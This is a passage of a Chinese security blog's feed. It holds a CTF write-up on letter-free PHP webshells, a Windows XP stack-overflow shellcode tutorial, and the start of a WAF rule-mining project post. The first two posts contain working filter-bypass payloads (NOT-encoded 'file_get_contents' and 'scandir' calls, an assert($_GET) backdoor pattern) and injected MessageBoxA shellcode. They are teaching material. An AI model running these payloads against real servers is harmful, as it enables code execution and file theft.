    <id>https://leeei.site/2026/08/04/HTTP%E6%96%B9%E6%B3%95%E6%9E%9A%E4%B8%BE%E4%B8%8EPUT%E9%A3%8E%E9%99%A9/</id>
    <link href="https://leeei.site/2026/08/04/HTTP%E6%96%B9%E6%B3%95%E6%9E%9A%E4%B8%BE%E4%B8%8EPUT%E9%A3%8E%E9%99%A9/"/>
    <published>2026-08-04T06:44:27.000Z</published>
    <summary>通过授权靶场分析 OPTIONS 方法枚举与 PUT 写入风险，记录识别思路、验证过程、必要条件以及服务端方法限制与权限加固方案。</summary>
    <title>HTTP 方法枚举与 PUT 风险：从 OPTIONS 探测到配置加固</title>
    <updated>2026-09-03T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="漏洞研究" scheme="https://leeei.site/categories/%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/"/>
    <category term="代码审计" scheme="https://leeei.site/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    <category term="CTF" scheme="https://leeei.site/tags/CTF/"/>
    <category term="WebShell" scheme="https://leeei.site/tags/WebShell/"/>
    <category term="PHP" scheme="https://leeei.site/tags/PHP/"/>
    <content>
      <![CDATA[<blockquote><p><strong>文章状态：待复验</strong><br>本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场，请勿用于未授权目标。</p></blockquote><h2 id="学习目标"><a href="#学习目标" class="headerlink" title="学习目标"></a>学习目标</h2><ul><li>理解 PHP 字符串异或和可变变量的行为</li><li>分析黑名单过滤为何无法等价于安全控制</li><li>建立从输入点到危险函数的数据流审计思路</li></ul><h2 id="实验说明"><a href="#实验说明" class="headerlink" title="实验说明"></a>实验说明</h2><ul><li>难度：进阶</li><li>范围：本地或公开授权靶场</li><li>复验状态：正文已完成格式迁移，关键结论将在后续使用固定环境重新验证</li></ul><h2 id="原始实验记录"><a href="#原始实验记录" class="headerlink" title="原始实验记录"></a>原始实验记录</h2><p>eg：[HUBUCTF 2022 新生赛]HowToGetShell，匹配条件过滤了所有的字母</p><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/163079661/01.png"                      alt="实验截图 1"                ><figcaption>实验截图 1</figcaption></figure></p><p>考点一：无字幕webshell变量命名</p><p>我们的变量名通常设置为$_，$__，$___</p><p>考点二：可变变量$$</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$lee=&quot;123&quot;;</span><br><span class="line">$$lee=&quot;456&quot;;</span><br><span class="line">echo $lee;</span><br><span class="line">?&gt;</span><br><span class="line"></span><br><span class="line">可变变量允许我用另一个变量（123）的值，作为当前变量（$$lee=$123）的名字</span><br></pre></td></tr></table></figure></div><p>eg：不能直接用字母表达变量</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$__ = &quot;_GET&quot;;    // $__ = &quot;_GET&quot;</span><br><span class="line">$$__ = ?         // 等价于 $_GET = ?</span><br></pre></td></tr></table></figure></div><p>考点三：动态函数调用</p><p>php允许用字符串变量来调用函数</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$func = &quot;system&quot;;   // $func 存储函数名</span><br><span class="line">$func(&quot;ls&quot;);        // 等价于 system(&quot;ls&quot;)</span><br><span class="line"></span><br><span class="line">$func2 = &quot;assert&quot;;  // $func2 存储函数名</span><br><span class="line">$func2(&quot;phpinfo();&quot;); // 等价于 assert(&quot;phpinfo();&quot;)</span><br><span class="line"></span><br><span class="line">$_ = &quot;assert&quot;;      // $_ = &quot;assert&quot;</span><br><span class="line">$_(&quot;phpinfo();&quot;);   // 执行 assert(&quot;phpinfo();&quot;)</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></div><p>注：eval非函数不能动态调用，system、exec、shell_exec 都可</p><p>考点四：字符串异或运算</p><p>为什么要用异或？<br>assert 和 _GET 都有字母，不能直接写。<br>异或能用两个非字母字符生成一个字母，源码里全是符号，绕过检测。</p><p>常见：assert,get</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$_ = (&#x27;%01&#x27;^&#x27;`&#x27;).(&#x27;%13&#x27;^&#x27;`&#x27;).(&#x27;%13&#x27;^&#x27;`&#x27;).(&#x27;%05&#x27;^&#x27;`&#x27;).(&#x27;%12&#x27;^&#x27;`&#x27;).(&#x27;%14&#x27;^&#x27;`&#x27;);</span><br><span class="line">// $_ = &quot;assert&quot;</span><br><span class="line"></span><br><span class="line">$__ = &#x27;_&#x27;.(&#x27;%0D&#x27;^&#x27;]&#x27;).(&#x27;%2F&#x27;^&#x27;`&#x27;).(&#x27;%0E&#x27;^&#x27;]&#x27;).(&#x27;%09&#x27;^&#x27;]&#x27;);</span><br><span class="line">// $__ = &quot;_GET&quot;</span><br></pre></td></tr></table></figure></div><p>考点五：传参</p><p>mess 里不能有字母，所以真正的代码不能放里面</p><p>用 GET 参数 _ 传递真正的代码</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$_($___[_]);  // assert($_GET[&#x27;_&#x27;])</span><br></pre></td></tr></table></figure></div><p>用户请求：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">POST /?mess=...&amp;_=phpinfo();</span><br></pre></td></tr></table></figure></div><p>mess → 无字母payload（过正则）</p><p>_ → 真正执行的代码（传给assert）</p><p>然后我们回归这道题，首先用无字母方法取反构造字符串</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">~&#x27;%8F%97%8F%96%91%99%90%D7%D6&#x27;</span><br><span class="line">###</span><br><span class="line">%8F (0x8F) → 取反 → 0x70 → &#x27;p&#x27;</span><br><span class="line">%97 (0x97) → 取反 → 0x68 → &#x27;h&#x27;</span><br><span class="line">%8F (0x8F) → 取反 → 0x70 → &#x27;p&#x27;</span><br><span class="line">%96 (0x96) → 取反 → 0x69 → &#x27;i&#x27;</span><br><span class="line">%91 (0x91) → 取反 → 0x6E → &#x27;n&#x27;</span><br><span class="line">%99 (0x99) → 取反 → 0x66 → &#x27;f&#x27;</span><br><span class="line">%90 (0x90) → 取反 → 0x6F → &#x27;o&#x27;</span><br><span class="line">%D7 (0xD7) → 取反 → 0x28 → &#x27;(&#x27;</span><br><span class="line">%D6 (0xD6) → 取反 → 0x29 → &#x27;)&#x27;</span><br></pre></td></tr></table></figure></div><p>然后赋值</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// 第2步：赋值</span><br><span class="line">$_ = &quot;phpinfo()&quot;;</span><br><span class="line"></span><br><span class="line">// 第3步：动态执行</span><br><span class="line">$_();  // 等价于 phpinfo();</span><br></pre></td></tr></table></figure></div><p>Payload 2：列出根目录（成功找到 flag）</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST &quot;http://authorized-lab.local/&quot; -d &quot;mess=\$_=(~&#x27;%89%9E%8D%A0%9B%8A%92%8F&#x27;);\$__=(~&#x27;%8C%9C%9E%91%9B%96%8D&#x27;);\$_(\$__(&#x27;/&#x27;));&quot;</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">拆解：</span><br><span class="line">$_ = ~&#x27;%89%9E%8D%A0%9B%8A%92%8F&#x27;;    // 取反 → &quot;scandir&quot;</span><br><span class="line">$__ = ~&#x27;%8C%9C%9E%91%9B%96%8D&#x27;;      // 取反 → &quot;dirname&quot;</span><br><span class="line">$_($__(&#x27;/&#x27;));                        // scandir(dirname(&#x27;/&#x27;))</span><br><span class="line">// dirname(&#x27;/&#x27;) 返回 &#x27;/&#x27;</span><br><span class="line">// scandir(&#x27;/&#x27;) 列出根目录</span><br></pre></td></tr></table></figure></div><p><figure class="image-caption"><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/csdn/163079661/02.png"                      alt="实验截图 2"                ><figcaption>实验截图 2</figcaption></figure></p><p>~’%89%9E%8D%A0%9B%8A%92%8F’ &#x3D; “scandir”<br>~’%8C%9C%9E%91%9B%96%8D’   &#x3D; “dirname”</p><hr><p>Payload 3：读取 flag 文件（成功拿到 flag）</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST &quot;http://authorized-lab.local/&quot; -d &quot;mess=\$_=(~&#x27;%8D%9A%9E%9B%99%96%93%9A&#x27;);\$__=(~&#x27;%D0%99%93%9E%98&#x27;);\$_(\$__);&quot;</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$_ = ~&#x27;%8D%9A%9E%9B%99%96%93%9A&#x27;;    // 取反 → &quot;file_get_contents&quot;</span><br><span class="line">$__ = ~&#x27;%D0%99%93%9E%98&#x27;;            // 取反 → &quot;/flag&quot;</span><br><span class="line">$_($__);                             // file_get_contents(&#x27;/flag&#x27;)</span><br></pre></td></tr></table></figure></div><p>取反字符串速查表</p><p>|<br>目标字符串</p><p> |</p><p>取反后的 URL 编码</p><p> |<br>| — | — |<br>|</p><p><code>phpinfo()</code></p><p> |</p><p><code>%8F%97%8F%96%91%99%90%D7%D6</code></p><p> |<br>|</p><p><code>scandir</code></p><p> |</p><p><code>%89%9E%8D%A0%9B%8A%92%8F</code></p><p> |<br>|</p><p><code>dirname</code></p><p> |</p><p><code>%8C%9C%9E%91%9B%96%8D</code></p><p> |<br>|</p><p><code>file_get_contents</code></p><p> |</p><p><code>%8D%9A%9E%9B%99%96%93%9A</code></p><p> |<br>|</p><p><code>/flag</code></p><p> |</p><p><code>%D0%99%93%9E%98</code></p><p> |<br>|</p><p><code>_GET</code></p><p> |</p><p><code>%8F%9A%9E%9B%99%96%93</code></p><p> |</p><hr><h2 id="防御与复盘"><a href="#防御与复盘" class="headerlink" title="防御与复盘"></a>防御与复盘</h2><ul><li>避免执行来自用户输入的表达式，不使用 eval 等动态执行机制处理不可信数据。</li><li>使用明确的语法和参数白名单，而不是依赖字母或关键字黑名单。</li><li>结合静态分析、运行时审计和最小权限降低代码执行后的影响。</li></ul><h2 id="原文出处"><a href="#原文出处" class="headerlink" title="原文出处"></a>原文出处</h2><ul><li><a class="link"   href="https://blog.csdn.net/2403_88102829/article/details/163079661" >CSDN 原创记录<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/08/01/%E6%97%A0%E5%AD%97%E7%AC%A6WebShell%E4%B8%8EPHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/</id>
    <link href="https://leeei.site/2026/08/01/%E6%97%A0%E5%AD%97%E7%AC%A6WebShell%E4%B8%8EPHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    <published>2026-08-01T02:22:47.000Z</published>
    <summary>在授权 CTF 场景中分析字母过滤条件下的 PHP 表达式构造，解释异或、可变变量与动态调用的原理，并总结代码审计和防御要点。</summary>
    <title>无字符 WebShell：PHP 表达式构造与代码审计</title>
    <updated>2026-09-03T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="漏洞研究" scheme="https://leeei.site/categories/%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/"/>
    <category term="Windows" scheme="https://leeei.site/tags/Windows/"/>
    <category term="栈溢出" scheme="https://leeei.site/tags/%E6%A0%88%E6%BA%A2%E5%87%BA/"/>
    <category term="漏洞利用" scheme="https://leeei.site/tags/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    <content>
      <![CDATA[<p>一：环境</p><p>windowsXP，vc6，ollydbg，ultraedit</p><p>二：覆盖邻接变量</p><p>原理：利用strcpy函数不会检查长度的漏洞，覆盖临近数组的flag变量，从而绕过验证</p><p>先构建一个漏洞程序</p><p>因为栈的生长方向是从高地址到低地址的，也就是先声明的变量在高地址，后声明的变量在低地址</p><p><strong>栈向下生长，但数组向上溢出</strong>，我们的buffer数组预先只定义了44个字节的位置，所以buffr数组溢出的第一个字节就是flag的位置</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e5d7a17589c94056864ecfc484865884.png"                                     ></p><p>在vc6里面新建一个空项目，添加一个.c文件</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">#include &lt;stdio.h&gt;</span><br><span class="line">#include &lt;windows.h&gt;</span><br><span class="line">#include &lt;string.h&gt;</span><br><span class="line"></span><br><span class="line">#define REGCODE &quot;12345678&quot;</span><br><span class="line"></span><br><span class="line">int verify(char *code)</span><br><span class="line">&#123;</span><br><span class="line">    int flag;    //邻接变量，位于buffer下方</span><br><span class="line">    char buffer[44];    //缓冲区，共44字节</span><br><span class="line">    flag = strcmp(REGCODE, code);</span><br><span class="line">    strcpy(buffer, code);    //无长度检查的strcpy函数</span><br><span class="line">    return flag;    //是否通过验证</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">void main()</span><br><span class="line">&#123;</span><br><span class="line">    int vFlag = 0;</span><br><span class="line">    char regcode[1024];</span><br><span class="line">    FILE *fp;</span><br><span class="line"></span><br><span class="line">    LoadLibrary(&quot;user32.dll&quot;);</span><br><span class="line"></span><br><span class="line">    if (!(fp = fopen(&quot;reg.txt&quot;, &quot;r+&quot;)))</span><br><span class="line">        exit(0);</span><br><span class="line"></span><br><span class="line">    fscanf(fp, &quot;%s&quot;, regcode);</span><br><span class="line">    //fp：文件指针</span><br><span class="line">    //fscanf会在字符串末尾自动添加&#x27;\0&#x27;</span><br><span class="line">    vFlag = verify(regcode);</span><br><span class="line"></span><br><span class="line">    if (vFlag)</span><br><span class="line">        printf(&quot;wrong regcode!&quot;);</span><br><span class="line">    else</span><br><span class="line">        printf(&quot;passed!&quot;);</span><br><span class="line"></span><br><span class="line">    fclose(fp);</span><br><span class="line">&#125;&lt;/string.h&gt;&lt;/windows.h&gt;&lt;/stdio.h&gt;</span><br></pre></td></tr></table></figure></div><p>编译</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8a489000b2fd46a4ac37604168bedaed.png"                                     ></p><p>在debug文件同层创建一个reg.txt，写入密码12345678，运行看看有没有问题</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/dcf0ddbce3704dd6bc8db7f6297f706f.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5f0abcb6f9d14759be068d2b3ea17a2c.png"                                     ></p><p>正常</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d0c512ff676e42ed8cd4f0420989587b.png"                                     ></p><p>输入44个’1’，填充44个字节没因为fscanf会自动在末尾加上\0，这个\0会覆盖flag的最低位，把flag从1变成0，表示验证通过了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/48b6990a7fd34505baf0255170e25c62.png"                                     ></p><p>防御方向：限制复制长度</p><p>二：植入shellcode（运行漏洞程序后令win系统弹出弹窗）</p><p>user32.dll：win动态链接库，包含messageboxa函数</p><p>MessageBoxA：是Windows 系统中弹出提示框的 API 函数。调用它就能显示一个窗口</p><p>实现思路：后面的 shellcode 需要直接调用 MessageBoxA，但代码里不能写函数名（因为植入的是机器码），必须知道它在内存中的 <strong>入口地址</strong>，然后让程序跳转到这个地址去执行。</p><p>所以我们先通过这个c代码得到</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/500284642a044d7684a2148730941731.png"                                     ></p><p>在 Windows XP 中，user32.dll 的加载基址是 0x77D10000。</p><p>MessageBoxA 在 user32.dll 中的偏移是 0x000407EA。</p><p>入口地址 &#x3D; 基址 + 偏移 &#x3D;0x77D10000 + 0x000407EA &#x3D; 0x77D507EA</p><p>ollydbg打开exe文件，在菜单的试图里面找到调试窗口→watch</p><p>在watch窗口里面搜一下&amp;buffer</p><p>得到buffer的地址：0x0012faf0</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ca7927af4d8243f5a10d7ec67c4a74c1.png"                                     ></p><p>开始构建shellcode，首先，调用MessageBoxA函数，我们需要四个参数：</p><p>1hWnd——父窗口句柄指定哪个窗口作为消息框的父窗口，这个实验我们传进去0&#x2F;NULL，表示这是一个独立的窗口2IpText显示的文本3IpCaption标题栏文字4uType按钮类型，这个实验传0，代表只显示确定按钮</p><p>在win中，压栈顺序是从右往左，所以参数顺序是4321，之后就可以调用MessageBoxA</p><p>在压到3，2参数部分的时候，要对字符串进行处理，要先把字符串写入栈内存，再把字符串的地址作为参数进行传递</p><p>顺序如下：</p><p>汇编机器码作用 <code>XOR EBX, EBX</code> <code>33 DB</code></p><p>EBX &#x3D; 0 <code>PUSH EBX</code> <code>53</code></p><p>压入 uType&#x3D;0（参数4） <code>PUSH 0x74736577</code> <code>68 77 65 73 74</code></p><p>压入 “west” <code>PUSH 0x74736577</code> <code>68 77 65 73 74</code></p><p>压入 “west” <code>MOV EAX, ESP</code> <code>8B C4</code></p><p>EAX &#x3D; 字符串地址 <code>PUSH EBX</code> <code>53</code></p><p>压入 hWnd&#x3D;0（参数1） <code>PUSH EAX</code> <code>50</code></p><p>压入 lpText（参数2） <code>PUSH EAX</code> <code>50</code></p><p>压入 lpCaption（参数3） <code>PUSH EBX</code> <code>53</code></p><p>压入 uType&#x3D;0（参数4） <code>MOV EAX, 0x77D507EA</code> <code>B8 EA 07 D5 77</code></p><p>函数地址入 EAX <code>CALL EAX</code> <code>FF D0</code></p><p>调用</p><p>以上0~25这段机器码就是弹窗部分</p><p>26~43内18个字节用90填充，表示NOP指令，什么都不做</p><p>44~47内四个字节用90填充，覆盖旧的flag</p><p>48~51四个字节用90填充，覆盖旧的EBP栈顶指针</p><p>（因为返回地址再flag和EBP后面，要覆盖返回地址，必须先把前52个字节填满，90&#x3D;NOP（空操作），CPU执行到这里什么都不做，继续往下）</p><p>52~55四个字节填充 F0 FA 12 00，表示返回地址→指向buffer[0]</p><p>打开UltraEdit，CTRL+G进入十六进制，开始填充机器码</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/896050e17f0d4514b731f3e6da5631fd.png"                                     ></p><p>之后保存到debug的同层——reg.txt</p><p>再次运行程序，成功跳出弹窗</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/633239cfdd6c4140af9bf999e1006711.png"                                     ></p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2026/07/20/winXP%E6%A0%88%E6%BA%A2%E5%87%BA%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/</id>
    <link href="https://leeei.site/2026/07/20/winXP%E6%A0%88%E6%BA%A2%E5%87%BA%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/"/>
    <published>2026-07-19T18:39:09.710Z</published>
    <summary>围绕 Windows XP 与 VC6、OllyDbg 环境，分析邻接变量覆盖、返回地址控制、NOP 滑板和 Shellcode 调试等栈溢出基础。</summary>
    <title>winXP栈溢出漏洞深度学习</title>
    <updated>2026-07-19T18:39:09.710Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="工具与自动化" scheme="https://leeei.site/categories/%E5%B7%A5%E5%85%B7%E4%B8%8E%E8%87%AA%E5%8A%A8%E5%8C%96/"/>
    <category term="命令注入" scheme="https://leeei.site/tags/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5/"/>
    <category term="WAF" scheme="https://leeei.site/tags/WAF/"/>
    <category term="OWASP CRS" scheme="https://leeei.site/tags/OWASP-CRS/"/>
    <category term="自动化" scheme="https://leeei.site/tags/%E8%87%AA%E5%8A%A8%E5%8C%96/"/>
    <content>
      <![CDATA[<h1 id="CRSRuleMiner"><a href="#CRSRuleMiner" class="headerlink" title="CRSRuleMiner"></a>CRSRuleMiner</h1><p>——针对cat命令的CRS规则挖掘</p><blockquote><p>说明：文字页保留原始分页文本，图页嵌入原图。</p></blockquote><h2 id="目录与项目简介"><a href="#目录与项目简介" class="headerlink" title="目录与项目简介"></a>目录与项目简介</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">CRSRuleMiner</span><br><span class="line">——针对cat命令的CRS规则挖掘</span><br><span class="line">目录：</span><br><span class="line">零：项目简介</span><br><span class="line">一：开发环境</span><br><span class="line">二：整体项目架构及文件说明</span><br><span class="line">三：主要功能</span><br><span class="line">- 核心目标</span><br><span class="line">- 功能模块</span><br><span class="line">- 评测体系</span><br><span class="line">四：核心代码</span><br><span class="line">- 自研变种（generate_variants.py）</span><br><span class="line">- 聚类（cluster_training_set.py）</span><br><span class="line">- 规则投票（vote_cluster_regex.py）</span><br><span class="line">- WAF运行时验证（waf_probe.py）</span><br><span class="line">五：实验结果</span><br><span class="line">- 聚类阶段</span><br><span class="line">- 规则投票阶段</span><br><span class="line">- 规则压缩对比</span><br><span class="line">- 冻结一次、只测一次的公共来源hold-out</span><br><span class="line">- 误报与边界测试</span><br><span class="line">- CRS运行时对比</span><br><span class="line">- 总结</span><br><span class="line">六：EXE打包与安装包制作</span><br><span class="line">七：AI 对话记录与项目历程</span><br><span class="line">零：项目简介：</span><br><span class="line">CRSRuleMiner 项目，是面向 OWASP CRS 的 cat 命令注入绕过规则自动挖掘项目。本项目从 165</span><br><span class="line">条真实攻击样本出发，通过自研变种生成、SBERT 语义聚类、HDBSCAN 密度分簇和 GPT5.5</span><br><span class="line">三次采样投票，自动归纳出 11 条紧凑检测规则。</span><br><span class="line">规则在 144 条真实攻击集上命中 129 条，在 5000 条混合日志上实现零误报，且通过 CRS 932</span><br><span class="line">剥离对比验证了独立净增量。项目完整覆盖了从样本收集、规则生成到 WAF</span><br><span class="line">运行时评测的工程闭环，并打包为桌面可执行程序，支持搜索、溯源与结果复核。</span><br></pre></td></tr></table></figure></div><h2 id="开发环境与背景说明"><a href="#开发环境与背景说明" class="headerlink" title="开发环境与背景说明"></a>开发环境与背景说明</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">注：</span><br><span class="line">OWASP 是研究和发布 Web 应用安全相关的知识、工具和标准的安全组织</span><br><span class="line">OWASP CRS（Core Rule Set）就是这个组织发布的一套 WAF</span><br><span class="line">防护规则集。它是全球最主流、应用最广泛的开源 WAF 规则库</span><br><span class="line">我的规则最终要补进 CRS 里，932是CRS规则集里面的规则文件编号，REQUEST-932：专门检测</span><br><span class="line">远程命令执行（RCE），管理着cat的命令注入，最终的11条规则就是要补在932这条链路上，我用 Git 把</span><br><span class="line">OWASP CRS 的官方仓库从 GitHub 克隆到了本地，然后切到 v4.28.0-dev 分支，存放在项目根目录的 .tmp_crs/</span><br><span class="line">文件夹里这样就可以直接引用 CRS 的原始规则文件、配置模板和回归测试框架，在本地 WSL2</span><br><span class="line">环境中加载、对比和验证自己的 11 条自定义规则。</span><br><span class="line">一：开发环境</span><br><span class="line">操作主机：win11</span><br><span class="line">Python：3.8.10</span><br><span class="line">虚拟环境：venv</span><br><span class="line">Web框架：FastAPI 0.124.0</span><br><span class="line">前端：Jinja2 模板 + 原生 HTML5 / CSS3 / JS</span><br><span class="line">可视化：Plotly.js 3.0.1</span><br><span class="line">机器学习：</span><br><span class="line">torch 2.4.1 （计算，推理）</span><br><span class="line">transformers 4.46.3（加载，管理，运行 all-minilm-l6-v2模型）</span><br><span class="line">SBERT(sentence-transformers 3.2.1)(把Token化的payload编码为384维向量）</span><br><span class="line">HDBSCAN 0.8.40（聚类向量）</span><br><span 